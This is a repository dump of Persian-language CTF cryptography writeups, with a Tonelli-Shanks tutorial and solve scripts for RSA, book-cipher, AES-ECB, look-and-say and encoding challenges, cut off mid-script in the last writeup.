--- 84 | 85 | !!! نویسنده 86 | [MohamadAli](https://github.com/wh1te-r0s3) -------------------------------------------------------------------------------- /docs/crypto/wiki/tonelli-shanks/tonelli-shanks.md: -------------------------------------------------------------------------------- 1 | --- 2 | tags: 3 | - Crypto 4 | - tonelli-shanks 5 | - Modular arithmetic 6 | --- 7 | 8 | ## الگوریتم tonelli-shanks 9 | 10 | در محاسبات پیمانه ای مسئله یافتن یک ریشه دوم به پیمانه یک عدد اول مانند $p$ را می توان به صورت یافتن یک عدد صحیح $x$ به گونه ای توصیف کرد که: 11 | 12 | $$ 13 | x^{2}\equiv a \pmod{p} 14 | $$ 15 | 16 | که در آن $a$ یک عدد صحیح و $p$ یک عدد اول است. برای هر عدد $a$ یک راه حل برای این معادله در پیمانه $p$ وجود ندارد. با این حال، هنگامی که یک راه حل وجود دارد، الگوریتم Tonneli-Shanks یک روش کارآمد برای یافتن آن ارائه می دهد. 17 | 18 | ??? warning "توجه کنید" 19 | 20 | این الگوریتم برای پیمانه های مرکب (غیر اول) کار نمی کند. یافتن ریشه دوم برای پیمانه های مرکب از نظر محاسباتی معادل فاکتورگیری اعداد صحیح است. یعنی مسئله سختی است. 21 | 22 | ## پیاده سازی 23 | 24 | ```py linenums="1" title="example.py" 25 | def legendre(a, p): 26 | return pow(a, (p - 1) // 2, p) 27 | 28 | def tonelli(n, p): 29 | assert legendre(n, p) == 1, "not a square (mod p)" 30 | q = p - 1 31 | s = 0 32 | while q % 2 == 0: 33 | q //= 2 34 | s += 1 35 | if s == 1: 36 | return pow(n, (p + 1) // 4, p) 37 | for z in range(2, p): 38 | if p - 1 == legendre(z, p): 39 | break 40 | c = pow(z, q, p) 41 | r = pow(n, (q + 1) // 2, p) 42 | t = pow(n, q, p) 43 | m = s 44 | t2 = 0 45 | while (t - 1) % p != 0: 46 | t2 = (t * t) % p 47 | for i in range(1, m): 48 | if (t2 - 1) % p == 0: 49 | break 50 | t2 = (t2 * t2) % p 51 | b = pow(c, 1 << (m - i - 1), p) 52 | r = (r * b) % p 53 | c = (b * b) % p 54 | t = (t * c) % p 55 | m = i 56 | return r 57 | 58 | # test 59 | n=41660815127637347468140745042827704103445750172002 60 | p=100000000000000000000000000000000000000000000000577 61 | r = tonelli(n, p) 62 | print("n=%d, p=%d" % (n, p)) 63 | print("roots : %d, %d" % (r, p - r)) 64 | ``` 65 | 66 | --- 67 | 68 | !!! نویسنده 69 | [MohamadAli](https://github.com/wh1te-r0s3) -------------------------------------------------------------------------------- /docs/crypto/writeups/2023/CakeCTF/simple-signature.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/crypto/writeups/2023/CakeCTF/simple-signature.png -------------------------------------------------------------------------------- /docs/crypto/writeups/2023/TCP1PCTF/Final_Consensus.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/crypto/writeups/2023/TCP1PCTF/Final_Consensus.png -------------------------------------------------------------------------------- /docs/crypto/writeups/2023/TCP1PCTF/MITM.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/crypto/writeups/2023/TCP1PCTF/MITM.png -------------------------------------------------------------------------------- /docs/crypto/writeups/2023/vSCTF/img.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/crypto/writeups/2023/vSCTF/img.png -------------------------------------------------------------------------------- /docs/crypto/writeups/2024/0xL4ughCTF/RSA-GCD.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/crypto/writeups/2024/0xL4ughCTF/RSA-GCD.png -------------------------------------------------------------------------------- /docs/crypto/writeups/2024/BSidesSF/truthescrow1.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/crypto/writeups/2024/BSidesSF/truthescrow1.PNG -------------------------------------------------------------------------------- /docs/crypto/writeups/2024/BSidesSF/truthescrow2.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/crypto/writeups/2024/BSidesSF/truthescrow2.PNG -------------------------------------------------------------------------------- /docs/crypto/writeups/2024/BYUCTF/AreSA.md: -------------------------------------------------------------------------------- 1 | --- 2 | tags: 3 | - BYUCTF 4 | - BYUCTF-2024 5 | - Crypto 6 | - RSA 7 | --- 8 | 9 | 10 | # چالش AreSA 11 | 12 |
13 | ![AreSA](AreSA.png) 14 |
15 | 16 | ## صورت سوال 17 | فایلی که بهمون دادن رو بررسی میکنیم و با توجه به نام متغیرها پی میبریم که از رمزگذاری RSA استفاده شده است. 18 | 19 | 20 | یه فایل متنی بهمون دادن که محتواش اینه: 21 | ```py linenums="1" title="cne.txt" 22 | n = 128393532851463575343089974408848099857979358442919384244000744053339479654557691794114605827105884545240515605112453686433508264824840575897640756564360373615937755743038201363814617682765101064651503434978938431452409293245855062934837618374997956788830791719002612108253528457601645424542240025303582528541 23 | e = 65537 24 | c = 93825584976187667358623690800406736193433562907249950376378278056949067505651948206582798483662803340120930066298960547657544217987827103350739742039606274017391266985269135268995550801742990600381727708443998391878164259416326775952210229572031793998878110937636005712923166229535455282012242471666332812788 25 | ``` 26 | 27 | ## روش حل 28 | 29 | خب خیلی سریع میریم و $n$ رو بررسی میکنیم و میبینیم که یک عدد اول هست. بنابراین $Phi$ را محاسبه کرده و بقیه مراحل بسیار واضح هست. 30 | 31 | 32 | ```python linenums="1" hl_lines="8-10" title="solve.py" 33 | from Crypto.Util.number import * 34 | 35 | n = 128393532851463575343089974408848099857979358442919384244000744053339479654557691794114605827105884545240515605112453686433508264824840575897640756564360373615937755743038201363814617682765101064651503434978938431452409293245855062934837618374997956788830791719002612108253528457601645424542240025303582528541 36 | e = 65537 37 | c = 93825584976187667358623690800406736193433562907249950376378278056949067505651948206582798483662803340120930066298960547657544217987827103350739742039606274017391266985269135268995550801742990600381727708443998391878164259416326775952210229572031793998878110937636005712923166229535455282012242471666332812788 38 | 39 | 40 | phi = n-1 41 | d=inverse(e, phi) 42 | long_to_bytes(pow(c, d, n)) 43 | ``` 44 | 45 | 46 | 47 | --- 48 | ??? success "FLAG :triangular_flag_on_post:" 49 |
`byuctf{d1d_s0m3_rs4_stuff...m1ght_d3l3t3_l4t3r}`
50 | 51 | 52 | !!! نویسنده 53 | [MohamadAli](https://github.com/wh1te-r0s3) 54 | 55 | -------------------------------------------------------------------------------- /docs/crypto/writeups/2024/BYUCTF/AreSA.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/crypto/writeups/2024/BYUCTF/AreSA.png -------------------------------------------------------------------------------- /docs/crypto/writeups/2024/BYUCTF/Austen-Supremacy.md: -------------------------------------------------------------------------------- 1 | --- 2 | tags: 3 | - BYUCTF 4 | - BYUCTF-2024 5 | - Crypto 6 | - Encoding 7 | --- 8 | 9 | 10 | # چالش Austen Supremacy 11 | 12 |
13 | ![Austen-Supremacy](Austen-Supremacy.png) 14 |
15 | 16 | ## صورت سوال 17 | لیدیا جین آستن را دوست دارد. در واقع کتاب مورد علاقه او Pride and Prejudice است. او و دوستانش دوست دارند درباره کتاب با هم صحبت کنند، اما اخیرا لیدیا شروع به رمزگذاری پیام های خود کرده است. متأسفانه دوستان لیدیا کد مخفی او را درک نمی کنند --  می توانید به آنها کمک کنید و پیام مخفی را شناسایی کنید؟ 18 | 19 | ``` 20 | 1.1.1 8.9.8 10.2.11 4.14.28 61.2.4 47.10.3 23.7.37 41.12.4 17.6.10 1.1.21 21 | ``` 22 | 23 | ## حل 24 | با توجه به فرمت پیامی که لیدا ارسال کرده حدس زدیم که ممکنه ربطی به این کتاب کرده باشه بنابراین رفتیم و کتاب رو دانلود کردیم و حس زدیم که الگوی پیامی که لیدا ارسال کرده به صورت زیر است: 25 | 26 | ``` 27 | Chapter.Paragraph.Character 28 | ``` 29 | خوشبختانه حدسمون درست بود و فلگ رو بدست اوردیم. 30 | 31 | 32 | 33 | --- 34 | ??? success "FLAG :triangular_flag_on_post:" 35 |
`byuctf{ilovedarcy}`
36 | 37 | 38 | !!! نویسنده 39 | [MohamadAli](https://github.com/wh1te-r0s3), 40 | [HIGHer](https://twitter.com/HIGH01012) 41 | 42 | -------------------------------------------------------------------------------- /docs/crypto/writeups/2024/BYUCTF/Austen-Supremacy.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/crypto/writeups/2024/BYUCTF/Austen-Supremacy.png -------------------------------------------------------------------------------- /docs/crypto/writeups/2024/BYUCTF/Times.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/crypto/writeups/2024/BYUCTF/Times.png -------------------------------------------------------------------------------- /docs/crypto/writeups/2024/IdekCTF/GoldenTicket.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/crypto/writeups/2024/IdekCTF/GoldenTicket.png -------------------------------------------------------------------------------- /docs/crypto/writeups/2024/IronCTF/A.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/crypto/writeups/2024/IronCTF/A.png -------------------------------------------------------------------------------- /docs/crypto/writeups/2024/IronCTF/Algebra Exam.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/crypto/writeups/2024/IronCTF/Algebra Exam.png -------------------------------------------------------------------------------- /docs/crypto/writeups/2024/IronCTF/F.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/crypto/writeups/2024/IronCTF/F.png -------------------------------------------------------------------------------- /docs/crypto/writeups/2024/IronCTF/H.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/crypto/writeups/2024/IronCTF/H.png -------------------------------------------------------------------------------- /docs/crypto/writeups/2024/IronCTF/I.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/crypto/writeups/2024/IronCTF/I.png -------------------------------------------------------------------------------- /docs/crypto/writeups/2024/IronCTF/M.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/crypto/writeups/2024/IronCTF/M.png -------------------------------------------------------------------------------- /docs/crypto/writeups/2024/IronCTF/N.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/crypto/writeups/2024/IronCTF/N.png -------------------------------------------------------------------------------- /docs/crypto/writeups/2024/IronCTF/Rivest, Shamir, Adleman 1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/crypto/writeups/2024/IronCTF/Rivest, Shamir, Adleman 1.png -------------------------------------------------------------------------------- /docs/crypto/writeups/2024/IronCTF/S.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/crypto/writeups/2024/IronCTF/S.png -------------------------------------------------------------------------------- /docs/crypto/writeups/2024/IronCTF/T.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/crypto/writeups/2024/IronCTF/T.png -------------------------------------------------------------------------------- /docs/crypto/writeups/2024/IronCTF/U.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/crypto/writeups/2024/IronCTF/U.png -------------------------------------------------------------------------------- /docs/crypto/writeups/2024/IronCTF/all_chars.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/crypto/writeups/2024/IronCTF/all_chars.png -------------------------------------------------------------------------------- /docs/crypto/writeups/2024/LITCTF/SymmetricRSA.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/crypto/writeups/2024/LITCTF/SymmetricRSA.png -------------------------------------------------------------------------------- /docs/crypto/writeups/2024/SDCTF/ComplexProblem.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/crypto/writeups/2024/SDCTF/ComplexProblem.png -------------------------------------------------------------------------------- /docs/crypto/writeups/2024/SnappCTF/1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/crypto/writeups/2024/SnappCTF/1.jpg -------------------------------------------------------------------------------- /docs/crypto/writeups/2024/SnappCTF/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/crypto/writeups/2024/SnappCTF/1.png -------------------------------------------------------------------------------- /docs/crypto/writeups/2024/SnappCTF/2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/crypto/writeups/2024/SnappCTF/2.png -------------------------------------------------------------------------------- /docs/crypto/writeups/2024/SnappCTF/3.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/crypto/writeups/2024/SnappCTF/3.jpg -------------------------------------------------------------------------------- /docs/crypto/writeups/2024/SnappCTF/Bombastic.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/crypto/writeups/2024/SnappCTF/Bombastic.PNG -------------------------------------------------------------------------------- /docs/crypto/writeups/2024/SnappCTF/mascot-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/crypto/writeups/2024/SnappCTF/mascot-1.png -------------------------------------------------------------------------------- /docs/crypto/writeups/2024/SnappCTF/mascot-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/crypto/writeups/2024/SnappCTF/mascot-2.png -------------------------------------------------------------------------------- /docs/crypto/writeups/2024/SnappCTF/mascot.md: -------------------------------------------------------------------------------- 1 | --- 2 | tags: 3 | - SnappCTF 4 | - SnappCTF-2024 5 | - Crypto 6 | - AES-ECB 7 | - ECB mode 8 | --- 9 | 10 | # چالش mascot 11 | 12 | تو این چلنج یه فایل بش داریم که به ما میفهمونه انکریپشن استفاده شده تایپ ECB هست و این تایپ از انکریپشن AES یه باگ (که البته فیچر هم هست :joy:) که باید از این باگ سوء استفاده کنیم تا بتونیم فلگ رو بخونیم 13 | 14 | معروف ترین عکس در رابطه با این باگ این عکسه 15 | 16 | ![[PeNgUiN!]](mascot-1.png) 17 | 18 | فرمت ppm به صورتی هست که 3 خط اول به عنوان هدر تعریف میشن 19 | ما با خط دوم کار داریم که رزولوشن هست :smiling_imp: 20 | 21 | یه اسکریپت پایتون مینویسیم که بیاد رزولوشن رو بروت فورس کنیم 22 | 23 | تو یه رایتاپ دیگه تو همین بلاگ اشاره کردم که: 24 | > پیکسل های تصاویر از چپ به راست تکمیل میشن و ارتفاع تاثیری در پیکسل ها و ترتیبشون نداره 25 | 26 | پس ما فقط پارامتر x رو تغییر بدیم =))) 27 | 28 | اسکریپت بدین صورت است 29 | 30 | ```python linenums="1" 31 | b = open("flag.enc", "rb").read() 32 | 33 | base = """P6 34 | {} {} 35 | 65535 36 | """ 37 | y = 100 38 | for x in range(1000): 39 | with open("res/{}x{}.png".format(x,y), 'wb') as f: 40 | f.write(base.format(x,y).encode() + b) 41 | ``` 42 | 43 | بعد از اجرای اسکریپت، فلگ در رزولوشن 740x100.png مشاهده میشود 44 | 45 | ![Mascot](mascot-2.png) 46 | --- 47 | !!! نویسنده 48 | [SafaSafari](https://twitter.com/SafaSafari3) 49 | 50 | -------------------------------------------------------------------------------- /docs/crypto/writeups/2024/TFCCTF/CCCCC.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/crypto/writeups/2024/TFCCTF/CCCCC.PNG -------------------------------------------------------------------------------- /docs/crypto/writeups/2024/TFCCTF/CCCCC.md: -------------------------------------------------------------------------------- 1 | --- 2 | tags: 3 | - TFC CTF 4 | - TFC CTF 2024 5 | - Crypto 6 | --- 7 | 8 | # چالش CCCCC 9 | 10 |
11 | ![CCCCC](CCCCC.PNG) 12 |
13 | 14 | ## آشنایی با مساله 15 | 16 | در این سوال به ما فایل `ccccc.txt` داده شده است. بیایید نگاهی به محتویاتش بندازیم: 17 | 18 | 19 | ```plain title="ccccc.txt" linenums="1" 20 | 5c4c4c6c4c3c4c3c5c4c4c6c7cbc6c3c7c3c6c8c6cfc7c5c7c4c5cfc6c3c6cfc7c5c7c4c5cfc6c3c7c4c3c0c5cfc6c3c6cdc7c9c5cfc6c3c6c2c3c0c7c9c5cfc6c3c3c4c6cec6c4c5cfc6c3c6cdc7c9c5cfc6c3c6c4c6cfc6c7c5cfc6c3c6c1c6cec6c4c5cfc6c3c6cdc7c9c5cfc6c3c6c3c3c4c3c7c7cdc0ca\n 21 | ``` 22 | 23 | 24 | ## راه حل 25 | 26 | 27 | در نگاه اول کلی حرف `c` تو فایل داده شده به چشممون میخوره مانند اسم سوال 28 | در ادامه ما میدانیم فرمت فلگ با `TFCCTF` شروع میشود و داریم 29 | ```py 30 | print( b'TFCCTF'.hex() ) 31 | # 544643435446 32 | ``` 33 | 34 | با توجه به مقدار هگز حروف آغازین فلگ و فایل داده شده، پی میبریم کافیست `c` های اضافی را حذف کنیم تا به فلگ برسیم: 35 | 36 | ```py 37 | print(bytes.fromhex(s[::2])) 38 | ``` 39 | 40 | 41 | 42 | --- 43 | ??? success "FLAG :triangular_flag_on_post:" 44 |
`TFCCTF{cshout_cout_ct0_cmy_cb0y_c4nd_cmy_cdog_cand_cmy_cc47}`
45 | 46 | 47 | !!! نویسنده 48 | [mheidari98](https://github.com/mheidari98) 49 | 50 | -------------------------------------------------------------------------------- /docs/crypto/writeups/2024/TFCCTF/CONWAY.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/crypto/writeups/2024/TFCCTF/CONWAY.PNG -------------------------------------------------------------------------------- /docs/crypto/writeups/2024/TFCCTF/CONWAY.md: -------------------------------------------------------------------------------- 1 | --- 2 | tags: 3 | - TFC CTF 4 | - TFC CTF 2024 5 | - Crypto 6 | - Integer Sequences 7 | --- 8 | 9 | # چالش CONWAY 10 | 11 |
12 | ![CONWAY](CONWAY.PNG) 13 |
14 | 15 | ## آشنایی با مساله 16 | 17 | در این سوال به ما دو فایل `main.py` و `output.txt` داده شده است که در ادامه محتویات این دو فایل رو مشاهده میکنید: 18 | === "main.py" 19 | ```python title="main.py" linenums="1" 20 | from secret import generate_next_key, flag 21 | import hashlib 22 | from Crypto.Cipher import AES 23 | from Crypto.Util.Padding import pad 24 | 25 | initial = 11131221131211131231121113112221121321132132211331222113112211 26 | 27 | initial = generate_next_key(initial) 28 | print(initial) 29 | 30 | initial = generate_next_key(initial) 31 | h = hashlib.sha256() 32 | h.update(str(initial).encode()) 33 | key = h.digest() 34 | 35 | cipher = AES.new(key, AES.MODE_ECB) 36 | print(cipher.encrypt(pad(flag.encode(),16)).hex()) 37 | ``` 38 | 39 | === "output.txt" 40 | ```plain title="output.txt" linenums="1" 41 | 311311222113111231131112132112311321322112111312211312111322212311322113212221 42 | f143845f3c4d9ad024ac8f76592352127651ff4d8c35e48ca9337422a0d7f20ec0c2baf530695c150efff20bbc17ca4c 43 | ``` 44 | 45 | ظاهرا تو این سوال باید با استفاده از `initial` و مقدار پرینت شده، بیایم تابع `generate_next_key` رو پیاده سازی کنیم و سپس با داشتن کلید بسادگی میتوان متن را رمزگشایی کرد و به فلگ رسید. 46 | 47 | ## راه حل 48 | 49 | !!! Tip "توصیه" 50 | قرار نیست ما همیشه همه چیز رو بدونیم و اینکه تو مسابقاتمون از هوش مصنوعی ها در راستا افزایش کاراییمون به‌درستی کمک بگیریم، کار هوشمندانه‌ای هستش. 51 | 52 | برای حل این مساله ابتدا با 53 | [chatgpt](https://chatgpt.com) 54 | مشورت کردم و خوشبختانه ایشون تونست این تابع رو برای من پیاده سازی کنه و بخش سخت مساله رو برا من انجام داد و در ادامه بسادگی میتوان کلید `aes` را بدست بیاوریم و بعد از رمزگشایی به فلگ میرسیم. 55 | 56 | !!! Note "" 57 | همچنین میتوانستیم از 58 | [این سایت](https://oeis.org/A005150) 59 | نیز جهت حل این مساله کمک بگیریم 60 | 61 | 62 | ```py 63 | import hashlib 64 | from Crypto.Cipher import AES 65 | 66 | def generate_next_key(s): 67 | result = "" 68 | i = 0 69 | while i < len(s): 70 | count = 1 71 | while i + 1 < len(s) and s[i] == s[i + 1]: 72 | i += 1 73 | count += 1 74 | result += f"{count}{s[i]}" 75 | i += 1 76 | return result 77 | 78 | initial = "11131221131211131231121113112221121321132132211331222113112211" 79 | enc = 'f143845f3c4d9ad024ac8f76592352127651ff4d8c35e48ca9337422a0d7f20ec0c2baf530695c150efff20bbc17ca4c' 80 | 81 | initial = generate_next_key( generate_next_key(initial) ) 82 | key = hashlib.sha256(initial.encode()).digest() 83 | AES.new(key, AES.MODE_ECB).decrypt( bytes.fromhex(enc) ) 84 | ``` 85 | 86 | --- 87 | ??? success "FLAG :triangular_flag_on_post:" 88 |
`TFCCTF{c0nway's_g4me_0f_sequences?}`
89 | 90 | 91 | !!! نویسنده 92 | [mheidari98](https://github.com/mheidari98) 93 | 94 | -------------------------------------------------------------------------------- /docs/crypto/writeups/2024/TFCCTF/GENETICS-Table.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/crypto/writeups/2024/TFCCTF/GENETICS-Table.png -------------------------------------------------------------------------------- /docs/crypto/writeups/2024/TFCCTF/GENETICS-coding.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/crypto/writeups/2024/TFCCTF/GENETICS-coding.jpg -------------------------------------------------------------------------------- /docs/crypto/writeups/2024/TFCCTF/GENETICS.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/crypto/writeups/2024/TFCCTF/GENETICS.PNG -------------------------------------------------------------------------------- /docs/crypto/writeups/2024/TFCCTF/GENETICS.md: -------------------------------------------------------------------------------- 1 | --- 2 | tags: 3 | - TFC CTF 4 | - TFC CTF 2024 5 | - Crypto 6 | - Genetic Code 7 | --- 8 | 9 | # چالش GENETICS 10 | 11 |
12 | ![GENETICS](GENETICS.PNG) 13 |
14 | 15 | ## آشنایی با مساله 16 | 17 | تو این سوال رشته زیر به ما داده شده است و ما باید به طریقی فلگو بدست بیاریم 18 | 19 | ``` 20 | CCCA CACG CAAT CAAT CCCA CACG CTGT ATAC CCTT CTCT ATAC CGTA CGTA CCTT CGCT ATAT CTCA CCTT CTCA CGGA ATAC CTAT CCTT ATCA CTAT CCTT ATCA CCTT CTCA ATCA CTCA CTCA ATAA ATAA CCTT CCCG ATAT CTAG CTGC CCTT CTAT ATAA ATAA CGTG CTTC 21 | ``` 22 | 23 | 24 | 25 | ## راه حل 26 | 27 | برای حل این مساله ابتدا با کلید واژه های استخراج شده از سوال (`Genetic Code CTF`) تو گوگل سرچ کردم تا ببینم انکدینگی با این نام از قبل وجود داره یا یک انکدینگ ابداع طراح سوال هستش 28 | که به نتایج خوبی نظیر 29 | [این سایت ](https://www.dcode.fr/codons-genetic-code) 30 | رسیدم، ولی متاسفانه این سایت قادر به دیکد متن داده شده نشد 31 | 32 | در ادامه با مطالعه بیشتر پی بردم که که هر کدام از حروف `A`, `C`, `T`, `G` نمایانگر یک عدد دوبیتی هستند(**مبنا 4**) 33 | با دونستن حروف ابتدایی فلگ (`TFCCTF`) میتوانیم بسادگی تشخیص بدهیم هر حرف نمایانگر چه عددی هستش 34 | 35 |
36 | ![GENETICS-Table](GENETICS-Table.png) 37 |
38 | 39 | جدول نهایی ما بصورت زیر خواهد بود: 40 | 41 |
42 | ![GENETICS-coding](GENETICS-coding.jpg){ width=300 } 43 |
44 | 45 | 46 | در ادامه کد حل مساله قرار گرفته است: 47 | 48 | ```py 49 | s = "CCCA CACG CAAT CAAT CCCA CACG CTGT ATAC CCTT CTCT ATAC CGTA CGTA CCTT CGCT ATAT CTCA CCTT CTCA CGGA ATAC CTAT CCTT ATCA CTAT CCTT ATCA CCTT CTCA ATCA CTCA CTCA ATAA ATAA CCTT CCCG ATAT CTAG CTGC CCTT CTAT ATAA ATAA CGTG CTTC" 50 | s4 = s.replace("A", "0").replace("C", "1").replace("G", "2").replace("T", "3") 51 | print( ''.join(chr(int(c, 4)) for c in s4.split()) ) 52 | ``` 53 | 54 | --- 55 | ??? success "FLAG :triangular_flag_on_post:" 56 |
`TFCCTF{1_w1ll_g3t_th1s_4s_4_t4tt00_V3ry_s00n}`
57 | 58 | 59 | !!! نویسنده 60 | [mheidari98](https://github.com/mheidari98) 61 | 62 | -------------------------------------------------------------------------------- /docs/crypto/writeups/2024/USCCTF/Its-Not-Called-Data-Loss-Prevention.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/crypto/writeups/2024/USCCTF/Its-Not-Called-Data-Loss-Prevention.png -------------------------------------------------------------------------------- /docs/crypto/writeups/2024/USCCTF/decipherium.md: -------------------------------------------------------------------------------- 1 | --- 2 | tags: 3 | - USCCTF 4 | - USCCTF-2024 5 | - Crypto 6 | - Encoding 7 | - periodic table 8 | --- 9 | 10 | # چالش decipherium 11 | 12 |
13 | ![cover](decipherium.png){ width="400" } 14 |
15 | 16 | ## شرح چالش 17 | 18 | این چالش یک دنباله کد را به شکل زیر به ما داده که براساس اسم چالش و حروف داخل کد که حروف بزرگ و سپس کوچک دارد به نظر نمادهای عناصر شیمیایی جدول تناوبی را ارائه می‌داد که به صورت پشت سر هم و بدون هیچ فاصله‌ای نوشته شده‌اند. در اینجا، هدف هر نماد عنصری احتمالاً به عدد اتمی آن عنصر اشاره دارد. 19 | 20 | ``` 21 | TeSbILaTeSnTeNoISnTeCsCsDyICdTeIISnTeLaSbCdTeTeTeLaTeSbINoTeSbSbInICdTeBaSbSbISnIYbSbCdTeXeINoSbSbTeHoTeITeFmTeITeMdITeSbICsEr 22 | ``` 23 | 24 |
25 | ![periodic_Table.png](periodic_Table.png) 26 |
27 | 28 | ## راه‌ حل چالش 29 | 30 | برای کدگشایی، ابتدا نمادهای شیمیایی را از هم جدا می‌کنیم و نماد هر عنصر را به عدد اتمی متناظر با آن تبدیل کردیم و در یک لیست قرار می‌دهیم. سپس دیکشنری شامل نمادهای شیمیایی هر عنصر و اعداد اتمی آن‌ها استفاده می کنیم. . 31 | 32 | **تبدیل اعداد به کاراکترهای ASCII:** سپس اعداد به‌دست‌آمده را به کاراکترهای ASCII تبدیل کردیم، چرا که این اعداد به نظر در بازه‌ای قرار دارند که با استاندارد ASCII همخوانی دارند. در نتیجه، هر عدد(عدد اتمی) به یک کاراکتر خاص تبدیل شد. 33 | پس از تبدیل به ASCII، خروجی به‌دست‌آمده شامل رشته‌ای از کاراکترهای hex بود. در این مرحله، این رشته hex را به متن قابل‌ خواندن (text) تبدیل کردیم. 34 | 35 | 36 | ```python title="solve.py" linenums="1" 37 | 38 | import binascii 39 | import re 40 | 41 | encoded_text = "TeSbILaTeSnTeNoISnTeCsCsDyICdTeIISnTeLaSbCdTeTeTeLaTeSbINoTeSbSbInICdTeBaSbSbISnIYbSbCdTeXeINoSbSbTeHoTeITeFmTeITeMdITeSbICsEr" 42 | elements = re.findall(r'[A-Z][a-z]?', encoded_text) 43 | 44 | #atomic numbers dict 45 | atomic_numbers_dict = { 46 | "H": 1, "He": 2, "Li": 3, "Be": 4, "B": 5, "C": 6, "N": 7, "O": 8, "F": 9, "Ne": 10, 47 | "Na": 11, "Mg": 12, 